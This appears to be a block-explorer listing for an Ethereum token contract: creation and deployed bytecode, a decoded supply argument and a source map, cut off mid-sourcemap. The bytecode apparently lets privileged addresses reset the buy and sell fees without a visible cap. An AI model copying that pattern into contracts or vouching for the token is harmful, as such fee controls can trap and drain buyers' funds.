1461062e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a06565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600e805460ff60a01b1916600160a01b179055610e0e81610e9d565b6013544790610e26906001600160a01b031682610ff7565b5050600e805460ff60a01b19169055565b80610e4957610e44611032565b610e76565b6005805460ff16906000610e5c8361148b565b91906101000a81548160ff021916908360ff160217905550505b610e81848484611077565b80610d0357610d03600954600655600a54600755600b54600855565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610ed257610ed26114aa565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4f91906113f0565b81600181518110610f6257610f626114aa565b6001600160a01b039283166020918202929092010152600d54610f889130911684610a1b565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610fc19085906000908690309042906004016114c0565b600060405180830381600087803b158015610fdb57600080fd5b505af1158015610fef573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f1935050505015801561102d573d6000803e3d6000fd5b505050565b6006541580156110425750600754155b801561104e5750600854155b1561105557565b60078054600a5560088054600b55600680546009556000928390559082905555565b6001600160a01b03821660009081526012602052604081205460ff1661109e5760006110a2565b6011545b6001600160a01b03841660009081526012602052604090205490915060ff1615611136576001600160a01b0384166000908152600c60205260409020546110e99083611223565b6001600160a01b038086166000908152600c602052604080822093909355908516815220546111189082610d35565b6001600160a01b0384166000908152600c6020526040902055610d03565b6000806111428461122f565b6001600160a01b0388166000908152600c6020526040902054919350915061116a9085611223565b6001600160a01b038088166000908152600c602052604080822093909355908716815220546111999083610d35565b6001600160a01b0386166000908152600c60205260408082209290925530815220546111c59082610d35565b306000908152600c602090815260409182902092909255518381526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b6000610d418284611531565b60008060006064600654856112449190611548565b61124e9190611567565b9050600061125c8583611223565b959194509092505050565b600060208083528351808285015260005b8181101561129457858101830151858201604001528201611278565b818111156112a6576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a1857600080fd5b600080604083850312156112e457600080fd5b82356112ef816112bc565b946020939093013593505050565b60008060006060848603121561131257600080fd5b833561131d816112bc565b9250602084013561132d816112bc565b929592945050506040919091013590565b6000806040838503121561135157600080fd5b50508035926020909101359150565b60006020828403121561137257600080fd5b8135610d41816112bc565b6000806040838503121561139057600080fd5b823561139b816112bc565b915060208301356113ab816112bc565b809150509250929050565b600181811c908216806113ca57607f821691505b6020821081036113ea57634e487b7160e01b600052602260045260246000fd5b50919050565b60006020828403121561140257600080fd5b8151610d41816112bc565b60008060006060848603121561142257600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561144d57600080fd5b81518015158114610d4157600080fd5b634e487b7160e01b600052601160045260246000fd5b600082198211156114865761148661145d565b500190565b600060ff821660ff81036114a1576114a161145d565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115105784516001600160a01b0316835293830193918301916001016114eb565b50506001600160a01b03969096166060850152505050608001529392505050565b6000828210156115435761154361145d565b500390565b60008160001904831182151516156115625761156261145d565b500290565b60008261158457634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c9984c07049109b2caaed481aaedd18b4e42236efdda2d794eb495c10c864cb564736f6c634300080d0033000000000000000000000000000072cb5bd86321e38cb6ce6682e80000000000

Deployed Bytecode

0x60806040526004361061014f5760003560e01c80634a74bb02116100b657806395d89b411161006f57806395d89b41146103d9578063a457c2d7146103ee578063a9059cbb1461040e578063c9567bf91461042e578063dd62ed3e14610443578063f2fde38b1461048957600080fd5b80634a74bb02146102fd5780636e4c43111461031e57806370a0823114610340578063715018a614610376578063772521511461038b5780638da5cb5b146103bb57600080fd5b8063220f669611610108578063220f66961461024457806323b872dd14610265578063313ce5671461028557806339509351146102a7578063411adcb6146102c757806349bd5a5e146102dd57600080fd5b806306fdde031461015b578063095ea7b31461018657806313fad07a146101b65780631694505e146101d757806318160ddd1461020f5780631e62d5241461022e57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104a9565b60405161017d9190611267565b60405180910390f35b34801561019257600080fd5b506101a66101a13660046112d1565b61053b565b604051901515815260200161017d565b3480156101c257600080fd5b506013546101a690600160a01b900460ff1681565b3480156101e357600080fd5b50600d546101f7906001600160a01b031681565b6040516001600160a01b03909116815260200161017d565b34801561021b57600080fd5b506004545b60405190815260200161017d565b34801561023a57600080fd5b5061022060075481565b34801561025057600080fd5b50600e546101a690600160a01b900460ff1681565b34801561027157600080fd5b506101a66102803660046112fd565b610551565b34801561029157600080fd5b5060035460405160ff909116815260200161017d565b3480156102b357600080fd5b506101a66102c23660046112d1565b6105ba565b3480156102d357600080fd5b5061022060085481565b3480156102e957600080fd5b50600e546101f7906001600160a01b031681565b34801561030957600080fd5b50600e546101a690600160a81b900460ff1681565b34801561032a57600080fd5b5061033e61033936600461133e565b6105f0565b005b34801561034c57600080fd5b5061022061035b366004611360565b6001600160a01b03166000908152600c602052604090205490565b34801561038257600080fd5b5061033e61061c565b34801561039757600080fd5b506101a66103a6366004611360565b60106020526000908152604090205460ff1681565b3480156103c757600080fd5b506000546001600160a01b03166101f7565b3480156103e557600080fd5b50610170610630565b3480156103fa57600080fd5b506101a66104093660046112d1565b61063f565b34801561041a57600080fd5b506101a66104293660046112d1565b61068e565b34801561043a57600080fd5b5061033e61069b565b34801561044f57600080fd5b5061022061045e36600461137d565b6001600160a01b039182166000908152600f6020908152604080832093909416825291909152205490565b34801561049557600080fd5b5061033e6104a4366004611360565b61099d565b6060600180546104b8906113b6565b80601f01602080910402602001604051908101604052809291908181526020018280546104e4906113b6565b80156105315780601f1061050657610100808354040283529160200191610531565b820191906000526020600020905b81548152906001019060200180831161051457829003601f168201915b5050505050905090565b6000610548338484610a1b565b50600192915050565b600061055e848484610adc565b6105b084336105ab8560405180606001604052806028815260200161158a602891396001600160a01b038a166000908152600f602090815260408083203384529091529020549190610d09565b610a1b565b5060019392505050565b336000818152600f602090815260408083206001600160a01b038716845290915281205490916105489185906105ab9086610d35565b3360009081526010602052604090205460ff16151560011461061157600080fd5b600791909155600855565b610624610d48565b61062e6000610da2565b565b6060600280546104b8906113b6565b600061054833846105ab856040518060600160405280602581526020016115b260259139336000908152600f602090815260408083206001600160a01b038d1684529091529020549190610d09565b6000610548338484610adc565b6106a3610d48565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071e91906113f0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561076b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078f91906113f0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107dc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080091906113f0565b600e80546001600160a01b03199081166001600160a01b0393841617909155600d80549091169183169182179055306000818152600c60205260409020546108489290610a1b565b600d546001600160a01b031663f305d719473061087a816001600160a01b03166000908152600c602052604090205490565b60008061088f6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108f7573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061091c919061140d565b5050600e54600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610975573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610999919061143b565b5050565b6109a5610d48565b6001600160a01b038116610a0f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b610a1881610da2565b50565b6001600160a01b03831615801590610a3b57506001600160a01b03821615155b610a7b5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610a06565b6001600160a01b038381166000818152600f602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831615801590610afc57506001600160a01b03821615155b610b405760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b6044820152606401610a06565b60008111610b9e5760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b6064820152608401610a06565b60055460ff61010082048116911610801590610bc45750600e54600160a01b900460ff16155b8015610bde5750600e546001600160a01b03848116911614155b8015610bf35750600e54600160a81b900460ff165b15610c23576005805460ff19169055306000908152600c60205260409020548015610c2157610c2181610df2565b505b6001600160a01b03831660009081526010602052604090205460019060ff1680610c6557506001600160a01b03831660009081526010602052604090205460ff165b80610cac5750601354600160a01b900460ff168015610c925750600e546001600160a01b03858116911614155b8015610cac5750600e546001600160a01b03848116911614155b15610cb957506000610cf7565b600e546001600160a01b0390811690851603610cda57600754600655610cf7565b600e546001600160a01b0390811690841603610cf7576008546006555b610d0384848484610e37565b50505050565b60008184841115610d2d5760405162461bcd60e51b8152600401610a069190611267565b505050900390565b6000610d418284611473565b9392505050565b6000546001600160a01b0316331461062e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a06565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600e805460ff60a01b1916600160a01b179055610e0e81610e9d565b6013544790610e26906001600160a01b031682610ff7565b5050600e805460ff60a01b19169055565b80610e4957610e44611032565b610e76565b6005805460ff16906000610e5c8361148b565b91906101000a81548160ff021916908360ff160217905550505b610e81848484611077565b80610d0357610d03600954600655600a54600755600b54600855565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610ed257610ed26114aa565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4f91906113f0565b81600181518110610f6257610f626114aa565b6001600160a01b039283166020918202929092010152600d54610f889130911684610a1b565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610fc19085906000908690309042906004016114c0565b600060405180830381600087803b158015610fdb57600080fd5b505af1158015610fef573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f1935050505015801561102d573d6000803e3d6000fd5b505050565b6006541580156110425750600754155b801561104e5750600854155b1561105557565b60078054600a5560088054600b55600680546009556000928390559082905555565b6001600160a01b03821660009081526012602052604081205460ff1661109e5760006110a2565b6011545b6001600160a01b03841660009081526012602052604090205490915060ff1615611136576001600160a01b0384166000908152600c60205260409020546110e99083611223565b6001600160a01b038086166000908152600c602052604080822093909355908516815220546111189082610d35565b6001600160a01b0384166000908152600c6020526040902055610d03565b6000806111428461122f565b6001600160a01b0388166000908152600c6020526040902054919350915061116a9085611223565b6001600160a01b038088166000908152600c602052604080822093909355908716815220546111999083610d35565b6001600160a01b0386166000908152600c60205260408082209290925530815220546111c59082610d35565b306000908152600c602090815260409182902092909255518381526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b6000610d418284611531565b60008060006064600654856112449190611548565b61124e9190611567565b9050600061125c8583611223565b959194509092505050565b600060208083528351808285015260005b8181101561129457858101830151858201604001528201611278565b818111156112a6576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a1857600080fd5b600080604083850312156112e457600080fd5b82356112ef816112bc565b946020939093013593505050565b60008060006060848603121561131257600080fd5b833561131d816112bc565b9250602084013561132d816112bc565b929592945050506040919091013590565b6000806040838503121561135157600080fd5b50508035926020909101359150565b60006020828403121561137257600080fd5b8135610d41816112bc565b6000806040838503121561139057600080fd5b823561139b816112bc565b915060208301356113ab816112bc565b809150509250929050565b600181811c908216806113ca57607f821691505b6020821081036113ea57634e487b7160e01b600052602260045260246000fd5b50919050565b60006020828403121561140257600080fd5b8151610d41816112bc565b60008060006060848603121561142257600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561144d57600080fd5b81518015158114610d4157600080fd5b634e487b7160e01b600052601160045260246000fd5b600082198211156114865761148661145d565b500190565b600060ff821660ff81036114a1576114a161145d565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115105784516001600160a01b0316835293830193918301916001016114eb565b50506001600160a01b03969096166060850152505050608001529392505050565b6000828210156115435761154361145d565b500390565b60008160001904831182151516156115625761156261145d565b500290565b60008261158457634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c9984c07049109b2caaed481aaedd18b4e42236efdda2d794eb495c10c864cb564736f6c634300080d0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000072cb5bd86321e38cb6ce6682e80000000000

-----Decoded View---------------
Arg [0] : _supplyAmount (uint256): 10000000000000000000000000000000000000000000

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000000072cb5bd86321e38cb6ce6682e80000000000


Deployed Bytecode Sourcemap

14339:8680:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16364:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17075:161;;;;;;;;;;-1:-1:-1;17075:161:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;17075:161:0;1072:187:1;18240:34:0;;;;;;;;;;-1:-1:-1;18240:34:0;;;;-1:-1:-1;;;18240:34:0;;;;;;15016:41;;;;;;;;;;-1:-1:-1;15016:41:0;;;;-1:-1:-1;;;;;15016:41:0;;;;;;-1:-1:-1;;;;;1455:32:1;;;1437:51;;1425:2;1410:18;15016:41:0;1264:230:1;16641:100:0;;;;;;;;;;-1:-1:-1;16721:12:0;;16641:100;;;1645:25:1;;;1633:2;1618:18;16641:100:0;1499:177:1;14739:26:0;;;;;;;;;;;;;;;;15099:28;;;;;;;;;;-1:-1:-1;15099:28:0;;;;-1:-1:-1;;;15099:28:0;;;;;;17244:313;;;;;;;;;;-1:-1:-1;17244:313:0;;;;;:::i;:::-;;:::i;16550:83::-;;;;;;;;;;-1:-1:-1;16616:9:0;;16550:83;;16616:9;;;;2284:36:1;;2272:2;2257:18;16550:83:0;2142:184:1;17565:218:0;;;;;;;;;;-1:-1:-1;17565:218:0;;;;;:::i;:::-;;:::i;14772:27::-;;;;;;;;;;;;;;;;15064:28;;;;;;;;;;-1:-1:-1;15064:28:0;;;;-1:-1:-1;;;;;15064:28:0;;;15134:40;;;;;;;;;;-1:-1:-1;15134:40:0;;;;-1:-1:-1;;;15134:40:0;;;;;;22842:172;;;;;;;;;;-1:-1:-1;22842:172:0;;;;;:::i;:::-;;:::i;:::-;;18068:121;;;;;;;;;;-1:-1:-1;18068:121:0;;;;;:::i;:::-;-1:-1:-1;;;;;18161:20:0;18134:7;18161:20;;;:11;:20;;;;;;;18068:121;5989:103;;;;;;;;;;;;;:::i;15259:51::-;;;;;;;;;;-1:-1:-1;15259:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5754:87;;;;;;;;;;-1:-1:-1;5800:7:0;5827:6;-1:-1:-1;;;;;5827:6:0;5754:87;;16455;;;;;;;;;;;;;:::i;17791:269::-;;;;;;;;;;-1:-1:-1;17791:269:0;;;;;:::i;:::-;;:::i;16749:167::-;;;;;;;;;;-1:-1:-1;16749:167:0;;;;;:::i;:::-;;:::i;22209:625::-;;;;;;;;;;;;;:::i;16924:143::-;;;;;;;;;;-1:-1:-1;16924:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;17032:18:0;;;17005:7;17032:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;16924:143;6100:201;;;;;;;;;;-1:-1:-1;6100:201:0;;;;;:::i;:::-;;:::i;16364:83::-;16401:13;16434:5;16427:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16364:83;:::o;17075:161::-;17150:4;17167:39;5279:10;17190:7;17199:6;17167:8;:39::i;:::-;-1:-1:-1;17224:4:0;17075:161;;;;:::o;17244:313::-;17342:4;17359:36;17369:6;17377:9;17388:6;17359:9;:36::i;:::-;17406:121;17415:6;5279:10;17437:89;17475:6;17437:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;17437:19:0;;;;;;:11;:19;;;;;;;;5279:10;17437:33;;;;;;;;;;:37;:89::i;:::-;17406:8;:121::i;:::-;-1:-1:-1;17545:4:0;17244:313;;;;;:::o;17565:218::-;5279:10;17653:4;17702:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;17702:34:0;;;;;;;;;;17653:4;;17670:83;;17693:7;;17702:50;;17741:10;17702:38;:50::i;22842:172::-;5279:10;22915:32;;;;:18;:32;;;;;;;;:38;;:32;:38;22907:47;;;;;;22965:7;:14;;;;22990:8;:16;22842:172::o;5989:103::-;5713:13;:11;:13::i;:::-;6054:30:::1;6081:1;6054:18;:30::i;:::-;5989:103::o:0;16455:87::-;16494:13;16527:7;16520:14;;;;;:::i;17791:269::-;17884:4;17901:129;5279:10;17924:7;17933:96;17972:15;17933:96;;;;;;;;;;;;;;;;;5279:10;17933:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;17933:34:0;;;;;;;;;;;;:38;:96::i;16749:167::-;16827:4;16844:42;5279:10;16868:9;16879:6;16844:9;:42::i;22209:625::-;5713:13;:11;:13::i;:::-;22262:32:::1;22316:42;22262:97;;22404:13;-1:-1:-1::0;;;;;22404:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;22386:53:0::1;;22448:4;22455:13;-1:-1:-1::0;;;;;22455:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22386:90;::::0;-1:-1:-1;;;;;;22386:90:0::1;::::0;;;;;;-1:-1:-1;;;;;4308:15:1;;;22386:90:0::1;::::0;::::1;4290:34:1::0;4360:15;;4340:18;;;4333:43;4225:18;;22386:90:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22370:13;:106:::0;;-1:-1:-1;;;;;;22370:106:0;;::::1;-1:-1:-1::0;;;;;22370:106:0;;::::1;;::::0;;;22487:15:::1;:31:::0;;;;::::1;::::0;;::::1;::::0;;::::1;::::0;;22546:4:::1;-1:-1:-1::0;18161:20:0;;;:11;:20;;;;;;22529:75:::1;::::0;22487:31;17406:8;:121::i;22529:75::-:1;22615:15;::::0;-1:-1:-1;;;;;22615:15:0::1;:31;22654:21;22685:4;22691:24;22685:4:::0;-1:-1:-1;;;;;18161:20:0;18134:7;18161:20;;;:11;:20;;;;;;;18068:121;22691:24:::1;22716:1;22718::::0;22720:7:::1;5800::::0;5827:6;-1:-1:-1;;;;;5827:6:0;;5754:87;22720:7:::1;22615:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;22615:129:0;;;-1:-1:-1;;;;;4746:15:1;;;22615:129:0::1;::::0;::::1;4728:34:1::0;4778:18;;;4771:34;;;;4821:18;;;4814:34;;;;4864:18;;;4857:34;4928:15;;;4907:19;;;4900:44;22728:15:0::1;4960:19:1::0;;;4953:35;4662:19;;22615:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;22762:13:0::1;::::0;22793:15:::1;::::0;22755:71:::1;::::0;-1:-1:-1;;;22755:71:0;;-1:-1:-1;;;;;22793:15:0;;::::1;22755:71;::::0;::::1;5484:51:1::0;-1:-1:-1;;5551:18:1;;;5544:34;22762:13:0;::::1;::::0;-1:-1:-1;22755:29:0::1;::::0;5457:18:1;;22755:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;22251:583;22209:625::o:0;6100:201::-;5713:13;:11;:13::i;:::-;-1:-1:-1;;;;;6189:22:0;::::1;6181:73;;;::::0;-1:-1:-1;;;6181:73:0;;6073:2:1;6181:73:0::1;::::0;::::1;6055:21:1::0;6112:2;6092:18;;;6085:30;6151:34;6131:18;;;6124:62;-1:-1:-1;;;6202:18:1;;;6195:36;6248:19;;6181:73:0::1;;;;;;;;;6265:28;6284:8;6265:18;:28::i;:::-;6100:201:::0;:::o;18743:266::-;-1:-1:-1;;;;;18838:19:0;;;;;;:44;;-1:-1:-1;;;;;;18861:21:0;;;;18838:44;18830:74;;;;-1:-1:-1;;;18830:74:0;;6480:2:1;18830:74:0;;;6462:21:1;6519:2;6499:18;;;6492:30;-1:-1:-1;;;6538:18:1;;;6531:47;6595:18;;18830:74:0;6278:341:1;18830:74:0;-1:-1:-1;;;;;18915:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;18967:32;;1645:25:1;;;18967:32:0;;1618:18:1;18967:32:0;;;;;;;18743:266;;;:::o;19017:1041::-;-1:-1:-1;;;;;19141:18:0;;;;;;:38;;-1:-1:-1;;;;;;19163:16:0;;;;19141:38;19133:72;;;;-1:-1:-1;;;19133:72:0;;6826:2:1;19133:72:0;;;6808:21:1;6865:2;6845:18;;;6838:30;-1:-1:-1;;;6884:18:1;;;6877:51;6945:18;;19133:72:0;6624:345:1;19133:72:0;19233:1;19224:6;:10;19216:60;;;;-1:-1:-1;;;19216:60:0;;7176:2:1;19216:60:0;;;7158:21:1;7215:2;7195:18;;;7188:30;7254:34;7234:18;;;7227:62;-1:-1:-1;;;7305:18:1;;;7298:35;7350:19;;19216:60:0;6974:401:1;19216:60:0;19317:11;;;;;;;;19306:7;;:22;;;;:57;;-1:-1:-1;19347:16:0;;-1:-1:-1;;;19347:16:0;;;;19346:17;19306:57;:95;;;;-1:-1:-1;19388:13:0;;-1:-1:-1;;;;;19380:21:0;;;19388:13;;19380:21;;19306:95;:133;;;;-1:-1:-1;19418:21:0;;-1:-1:-1;;;19418:21:0;;;;19306:133;19289:393;;;19484:7;:11;;-1:-1:-1;;19484:11:0;;;19559:4;-1:-1:-1;18161:20:0;;;:11;:20;;;;;;19583:24;;19580:91;;19623:36;19638:20;19623:14;:36::i;:::-;19465:217;19289:393;-1:-1:-1;;;;;19731:24:0;;19696:12;19731:24;;;:18;:24;;;;;;19711:4;;19731:24;;;:50;;-1:-1:-1;;;;;;19759:22:0;;;;;;:18;:22;;;;;;;;19731:50;:119;;;-1:-1:-1;19786:15:0;;-1:-1:-1;;;19786:15:0;;;;:40;;;;-1:-1:-1;19813:13:0;;-1:-1:-1;;;;;19805:21:0;;;19813:13;;19805:21;;19786:40;:63;;;;-1:-1:-1;19836:13:0;;-1:-1:-1;;;;;19830:19:0;;;19836:13;;19830:19;;19786:63;19728:272;;;-1:-1:-1;19876:5:0;19728:272;;;19911:13;;-1:-1:-1;;;;;19911:13:0;;;19903:21;;;;19899:101;;19938:7;;19926:9;:19;19899:101;;;19963:13;;-1:-1:-1;;;;;19963:13:0;;;19957:19;;;;19953:47;;19990:8;;19978:9;:20;19953:47;20012:38;20027:4;20032:2;20035:6;20042:7;20012:14;:38::i;:::-;19120:938;19017:1041;;;:::o;3982:206::-;4068:7;4129:12;4121:6;;;;4113:29;;;;-1:-1:-1;;;4113:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;4164:5:0;;;3982:206::o;3558:98::-;3616:7;3643:5;3647:1;3643;:5;:::i;:::-;3636:12;3558:98;-1:-1:-1;;;3558:98:0:o;5849:132::-;5800:7;5827:6;-1:-1:-1;;;;;5827:6:0;5279:10;5913:23;5905:68;;;;-1:-1:-1;;;5905:68:0;;7847:2:1;5905:68:0;;;7829:21:1;;;7866:18;;;7859:30;7925:34;7905:18;;;7898:62;7977:18;;5905:68:0;7645:356:1;6309:191:0;6383:16;6402:6;;-1:-1:-1;;;;;6419:17:0;;;-1:-1:-1;;;;;;6419:17:0;;;;;;6452:40;;6402:6;;;;;;;6452:40;;6383:16;6452:40;6372:128;6309:191;:::o;20423:229::-;15726:16;:23;;-1:-1:-1;;;;15726:23:0;-1:-1:-1;;;15726:23:0;;;20507:37:::1;20523:20:::0;20507:15:::1;:37::i;:::-;20616:16;::::0;20576:21:::1;::::0;20608:36:::1;::::0;-1:-1:-1;;;;;20616:16:0::1;20576:21:::0;20608:7:::1;:36::i;:::-;-1:-1:-1::0;;15772:16:0;:24;;-1:-1:-1;;;;15772:24:0;;;20423:229::o;21147:332::-;21262:7;21258:107;;21285:14;:12;:14::i;:::-;21258:107;;;21340:7;:9;;;;;:7;:9;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;21258:107;21379:41;21394:6;21402:9;21413:6;21379:14;:41::i;:::-;21437:7;21433:38;;21459:12;18640:17;;18628:9;:29;18674:15;;18664:7;:25;18708:16;;18697:8;:27;18589:146;20664:473;20755:16;;;20769:1;20755:16;;;;;;;;20731:21;;20755:16;;;;;;;;;;-1:-1:-1;20755:16:0;20731:40;;20800:4;20782;20787:1;20782:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;20782:23:0;;;:7;;;;;;;;;;:23;;;;20826:15;;:22;;;-1:-1:-1;;;20826:22:0;;;;:15;;;;;:20;;:22;;;;;20782:7;;20826:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20816:4;20821:1;20816:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;20816:32:0;;;:7;;;;;;;;;:32;20891:15;;20859:62;;20876:4;;20891:15;20909:11;20859:8;:62::i;:::-;20932:15;;:197;;-1:-1:-1;;;20932:197:0;;-1:-1:-1;;;;;20932:15:0;;;;:66;;:197;;21013:11;;20932:15;;21056:4;;21083;;21103:15;;20932:197;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20718:419;20664:473;:::o;20066:115::-;20146:23;;-1:-1:-1;;;;;20146:15:0;;;:23;;;;;20162:6;;20146:23;;;;20162:6;20146:15;:23;;;;;;;;;;;;;;;;;;;;;20066:115;;:::o;18285:296::-;18331:9;;:14;:30;;;;-1:-1:-1;18349:7:0;;:12;18331:30;:47;;;;-1:-1:-1;18365:8:0;;:13;18331:47;18328:59;;;18285:296::o;18328:59::-;18415:7;;;18397:15;:25;18453:8;;;18434:16;:27;18493:9;;;18473:17;:29;-1:-1:-1;18513:11:0;;;;18535:12;;;;18558:13;18285:296::o;21487:715::-;-1:-1:-1;;;;;21598:20:0;;21581:14;21598:20;;;:9;:20;;;;;;;;:34;;21631:1;21598:34;;;21619:11;;21598:34;-1:-1:-1;;;;;21648:20:0;;;;;;:9;:20;;;;;;21581:51;;-1:-1:-1;21648:20:0;;21645:550;;;-1:-1:-1;;;;;21702:19:0;;;;;;:11;:19;;;;;;:31;;21726:6;21702:23;:31::i;:::-;-1:-1:-1;;;;;21680:19:0;;;;;;;:11;:19;;;;;;:53;;;;21769:22;;;;;;;:34;;21796:6;21769:26;:34::i;:::-;-1:-1:-1;;;;;21744:22:0;;;;;;:11;:22;;;;;:59;21645:550;;;21831:23;21856:17;21877;21887:6;21877:9;:17::i;:::-;-1:-1:-1;;;;;21927:19:0;;;;;;:11;:19;;;;;;21830:64;;-1:-1:-1;21830:64:0;-1:-1:-1;21927:31:0;;21951:6;21927:23;:31::i;:::-;-1:-1:-1;;;;;21905:19:0;;;;;;;:11;:19;;;;;;:53;;;;21994:22;;;;;;;:43;;22021:15;21994:26;:43::i;:::-;-1:-1:-1;;;;;21969:22:0;;;;;;:11;:22;;;;;;:68;;;;22097:4;22077:26;;;;:41;;22108:9;22077:30;:41::i;:::-;22068:4;22048:26;;;;:11;:26;;;;;;;;;:70;;;;22135:44;1645:25:1;;;-1:-1:-1;;;;;22135:44:0;;;;;;;;;;1618:18:1;22135:44:0;;;;;;;21819:376;;21570:632;21487:715;;;:::o;3664:98::-;3722:7;3749:5;3753:1;3749;:5;:::i;20189:226::-;20247:7;20256;20276:12;20309:3;20299:9;;20291:7;:17;;;;:::i;:::-;:21;;;;:::i;:::-;20276:36;-1:-1:-1;20323: